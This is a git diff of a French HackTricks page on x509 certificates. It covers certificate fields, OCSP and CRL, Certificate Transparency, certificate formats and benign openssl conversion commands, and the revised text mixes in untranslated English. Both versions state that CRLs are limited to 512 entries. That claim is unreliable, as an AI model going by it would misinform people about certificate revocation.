* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,177 +9,180 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser des workflows** facilement grâce aux outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## Qu'est-ce qu'un certificat
|
## Qu'est-ce qu'un certificat
|
||||||
|
|
||||||
En cryptographie, un **certificat de clé publique**, également connu sous le nom de **certificat numérique** ou **certificat d'identité**, est un document électronique utilisé pour prouver la propriété d'une clé publique. Le certificat contient des informations sur la clé, des informations sur l'identité de son propriétaire (appelé le sujet), et la signature numérique d'une entité qui a vérifié le contenu du certificat (appelé l'émetteur). Si la signature est valide et que le logiciel examinant le certificat fait confiance à l'émetteur, il peut utiliser cette clé pour communiquer de manière sécurisée avec le sujet du certificat.
|
Un **certificat de clé publique** est une identité numérique utilisée en cryptographie pour prouver que quelqu'un possède une clé publique. Il inclut les détails de la clé, l'identité du propriétaire (le sujet) et une signature numérique d'une autorité de confiance (l'émetteur). Si le logiciel fait confiance à l'émetteur et que la signature est valide, une communication sécurisée avec le propriétaire de la clé est possible.
|
||||||
|
|
||||||
Dans un schéma typique d'**infrastructure à clé publique** ([PKI](https://en.wikipedia.org/wiki/Public-key\_infrastructure)), l'émetteur du certificat est une **autorité de certification** ([CA](https://en.wikipedia.org/wiki/Certificate\_authority)), généralement une entreprise qui facture ses clients pour émettre des certificats pour eux. En revanche, dans un schéma de **toile de confiance** ([web of trust](https://en.wikipedia.org/wiki/Web\_of\_trust)), les individus signent directement les clés des autres, dans un format qui remplit une fonction similaire à un certificat de clé publique.
|
Les certificats sont principalement délivrés par des [autorités de certification](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) dans une configuration d'infrastructure à clé publique (PKI). Une autre méthode est le [réseau de confiance](https://en.wikipedia.org/wiki/Web\_of\_trust), où les utilisateurs vérifient directement les clés les uns des autres. Le format commun des certificats est [X.509](https://en.wikipedia.org/wiki/X.509), qui peut être adapté à des besoins spécifiques comme décrit dans la RFC 5280.
|
||||||
|
|
||||||
Le format le plus courant pour les certificats de clé publique est défini par [X.509](https://en.wikipedia.org/wiki/X.509). Comme X.509 est très général, le format est en outre contraint par des profils définis pour certains cas d'utilisation, tels que l'**Infrastructure à clé publique (X.509)** comme défini dans la RFC 5280.
|
## Champs courants de x509
|
||||||
|
|
||||||
## Champs communs x509
|
### **Champs courants dans les certificats x509**
|
||||||
|
|
||||||
* **Numéro de version** : Version du format x509.
|
Dans les certificats x509, plusieurs **champs** jouent des rôles critiques pour garantir la validité et la sécurité du certificat. Voici un aperçu de ces champs :
|
||||||
* **Numéro de série** : Utilisé pour identifier de manière unique le certificat dans les systèmes d'une CA. En particulier, cela est utilisé pour suivre les informations de révocation.
|
|
||||||
* **Sujet** : L'entité à laquelle appartient un certificat : une machine, un individu ou une organisation.
|
|
||||||
* **Nom commun** : Domaines affectés par le certificat. Peut être 1 ou plus et peut contenir des caractères génériques.
|
|
||||||
* **Pays (C)** : Pays
|
|
||||||
* **Nom distinctif (DN)** : L'ensemble du sujet : `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
|
|
||||||
* **Localité (L)** : Lieu local
|
|
||||||
* **Organisation (O)** : Nom de l'organisation
|
|
||||||
* **Unité organisationnelle (OU)** : Division d'une organisation (comme "Ressources humaines").
|
|
||||||
* **État ou province (ST, S ou P)** : Liste des noms d'état ou de province
|
|
||||||
* **Émetteur** : L'entité qui a vérifié les informations et signé le certificat.
|
|
||||||
* **Nom commun (CN)** : Nom de l'autorité de certification
|
|
||||||
* **Pays (C)** : Pays de l'autorité de certification
|
|
||||||
* **Nom distinctif (DN)** : Nom distinctif de l'autorité de certification
|
|
||||||
* **Localité (L)** : Lieu local où l'organisation peut être trouvée.
|
|
||||||
* **Organisation (O)** : Nom de l'organisation
|
|
||||||
* **Unité organisationnelle (OU)** : Division d'une organisation (comme "Ressources humaines").
|
|
||||||
* **Non avant** : La date et l'heure les plus précoces à partir desquelles le certificat est valide. Généralement défini quelques heures ou jours avant le moment où le certificat a été émis, pour éviter les problèmes de [dérive d'horloge](https://fr.wikipedia.org/wiki/Dérive\_d'horloge).
|
|
||||||
* **Non après** : La date et l'heure après lesquelles le certificat n'est plus valide.
|
|
||||||
* **Clé publique** : Une clé publique appartenant au sujet du certificat. (C'est l'une des parties principales car c'est ce qui est signé par la CA)
|
|
||||||
* **Algorithme de clé publique** : Algorithme utilisé pour générer la clé publique. Comme RSA.
|
|
||||||
* **Courbe de clé publique** : La courbe utilisée par l'algorithme de clé publique à courbe elliptique (si applicable). Comme nistp521.
|
|
||||||
* **Exposant de clé publique** : Exposant utilisé pour dériver la clé publique (si applicable). Comme 65537.
|
|
||||||
* **Taille de clé publique** : La taille de l'espace de clé publique en bits. Comme 2048.
|
|
||||||
* **Algorithme de signature** : L'algorithme utilisé pour signer le certificat de clé publique.
|
|
||||||
* **Signature** : Une signature du corps du certificat par la clé privée de l'émetteur.
|
|
||||||
* **Extensions x509v3**
|
|
||||||
* **Utilisation de la clé** : Les utilisations cryptographiques valides de la clé publique du certificat. Les valeurs courantes incluent la validation de la signature numérique, le chiffrement de clé et la signature de certificat.
|
|
||||||
* Dans un certificat Web, cela apparaîtra comme une _extension X509v3_ et aura la valeur `Signature numérique`
|
|
||||||
* **Utilisation étendue de la clé** : Les applications dans lesquelles le certificat peut être utilisé. Les valeurs courantes incluent l'authentification du serveur TLS, la protection des e-mails et la signature de code.
|
|
||||||
* Dans un certificat Web, cela apparaîtra comme une _extension X509v3_ et aura la valeur `Authentification du serveur Web TLS`
|
|
||||||
* **Nom alternatif du sujet** : Permet aux utilisateurs de spécifier des **noms d'hôtes** supplémentaires pour un seul **certificat SSL**. L'utilisation de l'extension SAN est une pratique standard pour les certificats SSL, et elle est en passe de remplacer l'utilisation du **nom** commun.
|
|
||||||
* **Contrainte de base** : Cette extension décrit si le certificat est un certificat de CA ou un certificat d'entité finale. Un certificat de CA est quelque chose qui signe des certificats d'autres entités et un certificat d'entité finale est le certificat utilisé dans une page Web par exemple (la dernière partie de la chaîne).
|
|
||||||
* **Identifiant de clé du sujet** (SKI) : Cette extension déclare un **identifiant unique pour la clé publique** dans le certificat. Il est requis sur tous les certificats de CA. Les CA propagent leur propre SKI vers l'extension **Identifiant de clé de l'émetteur** (AKI) sur les certificats émis. C'est le hachage de la clé publique du sujet.
|
|
||||||
* **Identifiant de clé de l'autorité** : Il contient un identifiant de clé qui est dérivé de la clé publique dans le certificat de l'émetteur. C'est le hachage de la clé publique de l'émetteur.
|
|
||||||
* **Accès aux informations de l'autorité** (AIA) : Cette extension contient au plus deux types d'informations :
|
|
||||||
* Informations sur **comment obtenir l'émetteur de ce certificat** (méthode d'accès à l'émetteur de CA)
|
|
||||||
* Adresse du **répondeur OCSP à partir duquel la révocation de ce certificat** peut être vérifiée (méthode d'accès OCSP).
|
|
||||||
* **Points de distribution de la liste de révocation** (CRL) : Cette extension identifie l'emplacement de la liste de révocation à partir de laquelle la révocation de ce certificat peut être vérifiée. L'application qui traite le certificat peut obtenir l'emplacement de la CRL à partir de cette extension, télécharger la CRL, puis vérifier la révocation de ce certificat.
|
|
||||||
* **CT SCTs de précertificat** : Journaux de transparence des certificats concernant le certificat
|
|
||||||
|
|
||||||
### Différence entre OCSP et Points de distribution de la liste de révocation (CRL)
|
* Le **Numéro de version** indique la version du format x509.
|
||||||
|
* Le **Numéro de série** identifie de manière unique le certificat au sein du système d'une autorité de certification (CA), principalement pour le suivi des révocations.
|
||||||
|
* Le champ **Sujet** représente le propriétaire du certificat, qui peut être une machine, un individu ou une organisation. Il inclut des identifications détaillées telles que :
|
||||||
|
* **Nom commun (CN)** : Domaines couverts par le certificat.
|
||||||
|
* **Pays (C)**, **Localité (L)**, **État ou Province (ST, S, ou P)**, **Organisation (O)** et **Unité organisationnelle (OU)** fournissent des détails géographiques et organisationnels.
|
||||||
|
* Le **Nom distingué (DN)** encapsule l'identification complète du sujet.
|
||||||
|
* L'**Émetteur** détaille qui a vérifié et signé le certificat, incluant des sous-champs similaires au Sujet pour la CA.
|
||||||
|
* La **Période de validité** est marquée par les horodatages **Non Avant** et **Non Après**, garantissant que le certificat n'est pas utilisé avant ou après une certaine date.
|
||||||
|
* La section **Clé publique**, cruciale pour la sécurité du certificat, spécifie l'algorithme, la taille et d'autres détails techniques de la clé publique.
|
||||||
|
* Les **extensions x509v3** améliorent la fonctionnalité du certificat, spécifiant l'**Utilisation de la clé**, l'**Utilisation étendue de la clé**, le **Nom alternatif du sujet** et d'autres propriétés pour affiner l'application du certificat.
|
||||||
|
|
||||||
**OCSP** (RFC 2560) est un protocole standard qui se compose d'un **client OCSP et d'un répondeur OCSP**. Ce protocole **détermine l'état de révocation d'un certificat numérique public** **sans** avoir à **télécharger** l'**ensemble de la CRL**.\
|
#### **Utilisation de la clé et extensions**
|
||||||
**CRL** est la **méthode traditionnelle** de vérification de la validité du certificat. Une **CRL fournit une liste de numéros de série de certificat** qui ont été révoqués ou ne sont plus valides. Les CRL permettent au vérificateur de vérifier l'état de révocation du certificat présenté tout en le vérifiant. Les CRL sont limitées à 512 entrées.\
|
|
||||||
De [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
|
||||||
|
|
||||||
### Qu'est-ce que la transparence des certificats
|
* L'**Utilisation de la clé** identifie les applications cryptographiques de la clé publique, comme la signature numérique ou le chiffrement de clé.
|
||||||
|
* L'**Utilisation étendue de la clé** restreint davantage les cas d'utilisation du certificat, par exemple, pour l'authentification du serveur TLS.
|
||||||
|
* Le **Nom alternatif du sujet** et la **Contrainte de base** définissent les noms d'hôte supplémentaires couverts par le certificat et s'il s'agit d'un certificat d'entité finale ou d'une CA, respectivement.
|
||||||
|
* Des identifiants comme l'**Identifiant de clé du sujet** et l'**Identifiant de clé de l'autorité** garantissent l'unicité et la traçabilité des clés.
|
||||||
|
* L'**Accès aux informations de l'autorité** et les **Points de distribution de la liste de révocation (CRL)** fournissent des chemins pour vérifier l'autorité de délivrance et vérifier l'état de révocation du certificat.
|
||||||
|
* Les **SCT des précertificats CT** offrent des journaux de transparence, cruciaux pour la confiance publique dans le certificat.
|
||||||
|
```python
|
||||||
|
# Example of accessing and using x509 certificate fields programmatically:
|
||||||
|
from cryptography import x509
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
|
||||||
La transparence des certificats vise à remédier aux menaces basées sur les certificats en **rendant l'émission et l'existence des certificats SSL ouvertes à l'examen par les propriétaires de domaines, les AC et les utilisateurs de domaines**. Plus précisément, la transparence des certificats a trois objectifs principaux :
|
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||||
|
with open("cert.pem", "rb") as file:
|
||||||
|
cert_data = file.read()
|
||||||
|
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||||
|
|
||||||
* Rendre impossible (ou du moins très difficile) à une AC d'**émettre un certificat SSL pour un domaine sans que le propriétaire** de ce domaine ne le voie.
|
# Accessing fields
|
||||||
* Fournir un **système d'audit et de surveillance ouvert** permettant à tout propriétaire de domaine ou AC de déterminer si des certificats ont été émis par erreur ou de manière malveillante.
|
serial_number = certificate.serial_number
|
||||||
* **Protéger les utilisateurs** (autant que possible) contre les certificats émis par erreur ou de manière malveillante.
|
issuer = certificate.issuer
|
||||||
|
subject = certificate.subject
|
||||||
|
public_key = certificate.public_key()
|
||||||
|
|
||||||
|
print(f"Serial Number: {serial_number}")
|
||||||
|
print(f"Issuer: {issuer}")
|
||||||
|
print(f"Subject: {subject}")
|
||||||
|
print(f"Public Key: {public_key}")
|
||||||
|
```
|
||||||
|
### **Différence entre les points de distribution OCSP et CRL**
|
||||||
|
|
||||||
|
**OCSP** (**RFC 2560**) implique un client et un répondant travaillant ensemble pour vérifier si un certificat de clé publique numérique a été révoqué, sans avoir besoin de télécharger le **CRL** complet. Cette méthode est plus efficace que le **CRL** traditionnel, qui fournit une liste de numéros de série de certificat révoqués mais nécessite le téléchargement d'un fichier potentiellement volumineux. Les CRL peuvent inclure jusqu'à 512 entrées. Plus de détails sont disponibles [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||||
|
|
||||||
|
### **Qu'est-ce que la transparence des certificats**
|
||||||
|
|
||||||
|
La transparence des certificats aide à lutter contre les menaces liées aux certificats en garantissant que l'émission et l'existence des certificats SSL sont visibles pour les propriétaires de domaines, les AC et les utilisateurs. Ses objectifs sont :
|
||||||
|
|
||||||
|
* Empêcher les AC d'émettre des certificats SSL pour un domaine sans la connaissance du propriétaire du domaine.
|
||||||
|
* Établir un système d'audit ouvert pour suivre les certificats émis par erreur ou de manière malveillante.
|
||||||
|
* Protéger les utilisateurs contre les certificats frauduleux.
|
||||||
|
|
||||||
#### **Journaux de certificats**
|
#### **Journaux de certificats**
|
||||||
|
|
||||||
Les journaux de certificats sont des services réseau simples qui conservent des **enregistrements de certificats cryptographiquement assurés, vérifiables publiquement, en ajout seulement**. **N'importe qui peut soumettre des certificats à un journal**, bien que les autorités de certification soient susceptibles d'être les principaux soumissionnaires. De même, n'importe qui peut interroger un journal pour obtenir une preuve cryptographique, qui peut être utilisée pour vérifier que le journal fonctionne correctement ou vérifier qu'un certificat particulier a été enregistré. Le nombre de serveurs de journaux n'a pas besoin d'être important (disons, beaucoup moins d'un millier dans le monde entier), et chacun pourrait être exploité indépendamment par une AC, un FAI ou toute autre partie intéressée.
|
Les journaux de certificats sont des enregistrements publics, vérifiables et en ajout seulement de certificats, maintenus par des services réseau. Ces journaux fournissent des preuves cryptographiques à des fins d'audit. Les autorités d'émission et le public peuvent soumettre des certificats à ces journaux ou les interroger pour vérification. Bien que le nombre exact de serveurs de journaux ne soit pas fixe, il est censé être inférieur à mille à l'échelle mondiale. Ces serveurs peuvent être gérés de manière indépendante par des AC, des FAI ou toute entité intéressée.
|
||||||
|
|
||||||
#### Requête
|
#### **Interrogation**
|
||||||
|
|
||||||
Vous pouvez interroger les journaux de transparence des certificats de n'importe quel domaine sur [https://crt.sh/](https://crt.sh).
|
Pour explorer les journaux de transparence des certificats pour un domaine, visitez [https://crt.sh/](https://crt.sh).
|
||||||
|
|
||||||
## Formats
|
Différents formats existent pour stocker des certificats, chacun ayant ses propres cas d'utilisation et compatibilité. Ce résumé couvre les principaux formats et fournit des conseils sur la conversion entre eux.
|
||||||
|
|
||||||
Il existe différents formats pouvant être utilisés pour stocker un certificat.
|
## **Formats**
|
||||||
|
|
||||||
#### **Format PEM**
|
### **Format PEM**
|
||||||
|
|
||||||
* C'est le format le plus courant utilisé pour les certificats
|
* Format le plus largement utilisé pour les certificats.
|
||||||
* La plupart des serveurs (par exemple Apache) s'attendent à ce que les certificats et la clé privée soient dans des fichiers séparés\
|
* Nécessite des fichiers séparés pour les certificats et les clés privées, encodés en Base64 ASCII.
|
||||||
\- Habituellement, ils sont des fichiers ASCII encodés en Base64\
|
* Extensions courantes : .cer, .crt, .pem, .key.
|
||||||
\- Les extensions utilisées pour les certificats PEM sont .cer, .crt, .pem, .key\
|
* Principalement utilisé par Apache et des serveurs similaires.
|
||||||
\- Apache et des serveurs similaires utilisent des certificats au format PEM
|
|
||||||
|
|
||||||
#### **Format DER**
|
### **Format DER**
|
||||||
|
|
||||||
* Le format DER est la forme binaire du certificat
|
* Un format binaire de certificats.
|
||||||
* Tous les types de certificats et de clés privées peuvent être encodés au format DER
|
* Ne contient pas les déclarations "BEGIN/END CERTIFICATE" que l'on trouve dans les fichiers PEM.
|
||||||
* Les certificats formatés en DER ne contiennent pas les déclarations "BEGIN CERTIFICATE/END CERTIFICATE"
|
* Extensions courantes : .cer, .der.
|
||||||
* Les certificats formatés en DER utilisent le plus souvent les extensions ‘.cer’ et '.der'
|
* Souvent utilisé avec les plates-formes Java.
|
||||||
* DER est généralement utilisé dans les plates-formes Java
|
|
||||||
|
|
||||||
#### **Format P7B/PKCS#7**
|
### **Format P7B/PKCS#7**
|
||||||
|
|
||||||
* Le format PKCS#7 ou P7B est stocké au format ASCII Base64 et a une extension de fichier .p7b ou .p7c
|
* Stocké en Base64 ASCII, avec les extensions .p7b ou .p7c.
|
||||||
* Un fichier P7B contient uniquement des certificats et des certificats de chaîne (AC intermédiaires), pas la clé privée
|
* Contient uniquement des certificats et des certificats de chaîne, excluant la clé privée.
|
||||||
* Les plates-formes les plus courantes qui prennent en charge les fichiers P7B sont Microsoft Windows et Java Tomcat
|
* Pris en charge par Microsoft Windows et Java Tomcat.
|
||||||
|
|
||||||
#### **Format PFX/P12/PKCS#12**
|
### **Format PFX/P12/PKCS#12**
|
||||||
|
|
||||||
* Le format PKCS#12 ou PFX/P12 est un format binaire pour stocker le certificat du serveur, les certificats intermédiaires et la clé privée dans un fichier chiffrable
|
* Un format binaire qui encapsule les certificats de serveur, les certificats intermédiaires et les clés privées dans un seul fichier.
|
||||||
* Ces fichiers ont généralement des extensions telles que .pfx et .p12
|
* Extensions : .pfx, .p12.
|
||||||
* Ils sont généralement utilisés sur les machines Windows pour importer et exporter des certificats et des clés privées
|
* Principalement utilisé sur Windows pour l'importation et l'exportation de certificats.
|
||||||
|
|
||||||
### Conversions de formats
|
### **Conversion de formats**
|
||||||
|
|
||||||
**Convertir x509 en PEM**
|
Les **conversions PEM** sont essentielles pour la compatibilité :
|
||||||
```
|
|
||||||
|
* **x509 vers PEM**
|
||||||
|
```bash
|
||||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||||
```
|
```
|
||||||
#### **Convertir PEM en DER**
|
* **PEM to DER**
|
||||||
```
|
```bash
|
||||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||||
```
|
```
|
||||||
**Convertir DER en PEM**
|
* **DER vers PEM**
|
||||||
```
|
```bash
|
||||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||||
```
|
```
|
||||||
**Convertir PEM en P7B**
|
* **PEM to P7B**
|
||||||
|
```bash
|
||||||
**Remarque :** Le format PKCS#7 ou P7B est stocké au format ASCII Base64 et a une extension de fichier .p7b ou .p7c. Un fichier P7B ne contient que des certificats et des certificats de chaîne (CA intermédiaires), pas la clé privée. Les plateformes les plus courantes prenant en charge les fichiers P7B sont Microsoft Windows et Java Tomcat.
|
|
||||||
```
|
|
||||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||||
```
|
```
|
||||||
**Convertir PKCS7 en PEM**
|
* **PKCS7 to PEM**
|
||||||
```
|
```bash
|
||||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||||
```
|
```
|
||||||
**Convertir pfx en PEM**
|
**Les conversions PFX** sont cruciales pour la gestion des certificats sur Windows:
|
||||||
|
|
||||||
**Remarque :** Le format PKCS#12 ou PFX est un format binaire pour stocker le certificat du serveur, les certificats intermédiaires et la clé privée dans un fichier chiffrable. Les fichiers PFX ont généralement des extensions telles que .pfx et .p12. Les fichiers PFX sont généralement utilisés sur les machines Windows pour importer et exporter des certificats et des clés privées.
|
* **PFX vers PEM**
|
||||||
```
|
```bash
|
||||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||||
```
|
```
|
||||||
**Convertir PFX en PKCS#8**\
|
* **PFX to PKCS#8** implique deux étapes :
|
||||||
**Remarque :** Cela nécessite 2 commandes
|
1. Convertir le PFX en PEM
|
||||||
|
```bash
|
||||||
**1- Convertir PFX en PEM**
|
|
||||||
```
|
|
||||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||||
```
|
```
|
||||||
**2- Convertir PEM en PKCS8**
|
2. Convert PEM to PKCS8
|
||||||
|
|
||||||
|
To convert a PEM-encoded private key to PKCS8 format, you can use the following OpenSSL command:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl pkcs8 -topk8 -inform PEM -outform DER -in private-key.pem -out private-key.pkcs8 -nocrypt
|
||||||
```
|
```
|
||||||
|
|
||||||
|
This command will convert the private key from PEM format to PKCS8 format without encryption.
|
||||||
|
```bash
|
||||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||||
```
|
```
|
||||||
**Convertir P7B en PFX**\
|
* **P7B vers PFX** nécessite également deux commandes :
|
||||||
**Remarque :** Cela nécessite 2 commandes
|
1. Convertir P7B en CER
|
||||||
|
```bash
|
||||||
1- **Convertir P7B en CER**
|
|
||||||
```
|
|
||||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||||
```
|
```
|
||||||
**2- Convertir un certificat CER et une clé privée en PFX**
|
2. Convertir un certificat CER et une clé privée en PFX
|
||||||
```
|
```bash
|
||||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
***
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -189,14 +192,14 @@ Accédez-y aujourd'hui :
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# Investigation Forensique Linux
|
# Analyse Forensique Linux
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
